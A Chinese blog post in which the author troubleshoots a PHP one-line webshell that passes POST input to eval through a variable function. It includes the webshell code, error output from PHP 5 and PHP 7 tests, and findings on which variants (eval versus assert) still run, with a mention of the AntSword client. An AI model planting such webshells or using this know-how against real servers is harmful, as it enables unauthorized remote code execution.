我太菜了,今天有学弟拿着一个一句话过来找我,说链接不上
<?php
$a="eval";
$a(@$_POST['a']);
?>
最开始以为是版本的问题
然后开始踩坑了
我自己用带毒的phpstudy测试了一下:
在php5的版本里面报错:
Fatal error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3
在php7里面报错:
Fatal error: Uncaught Error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php:3 Stack trace: #0 {main} thrown in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3
请教了一个大佬:
我: <?php $a = "eval"; $a(@$_POST['a']); ?> 这种木马 您能用吗 大佬: 咋不能用? 大佬: 一个简单的变形没看懂吗 我: php的文档说 eval不是函数 大佬: 本来就是语言构造器 我: 您测试成功了马 大佬: 你网上花钱找个师傅吧 我不提供问题解答哈 我: 哦 好吧 大佬: Assert也是一样可以的,自己试
好尴尬啊,被大佬教育了一波,我太菜了,于是乎查了查文档,然后自己又测试了一下:
给了一个合理的解释:
eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。
什么是可变函数呢:
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
所以我在怀疑,有些大佬们都是照抄assert的变形方式没有测试过就放到博客上了就是说,如果换了assert,这个是可以用的
结论:
eval不能用,assert可以用。
在php5的版本:
正常
继续测试一下assert
在php7.0的版本:
正常
在php7.1往后的版本:
Warning: Cannot call assert() with string argument dynamically in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3
网上搜索了一下:
assert()默认不在可以执行代码
这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~
这样一看问题基本明晰了,然后又看了一眼文档
7.0.0 assert() is now a language construct and not a function. assertion() can now be an expression. The second parameter is now interpreted either as an exception (if a Throwable object is given), or as the description supported from PHP 5.4.8 onwards.
在php7里面 是语言构造器。
结论
eval不能用,php7.1之后assert()也不能用
最后说一下,蚁剑是可以用assert的,不过编码最后使用base64
直接百度了一下:
还是有几个大佬写的有这种问题的。
最后可能是我认知上出现了问题,冒犯到大佬,还望见谅。
有不当之处,多多指正,感谢大佬们教我做人。
我还是太菜了。
https://www.php.net/manual/zh/functions.variable-functions.php
https://www.php.net/manual/zh/function.assert.php
https://www.xmsec.cc/few-security-changes-between-php-7-and-php-5/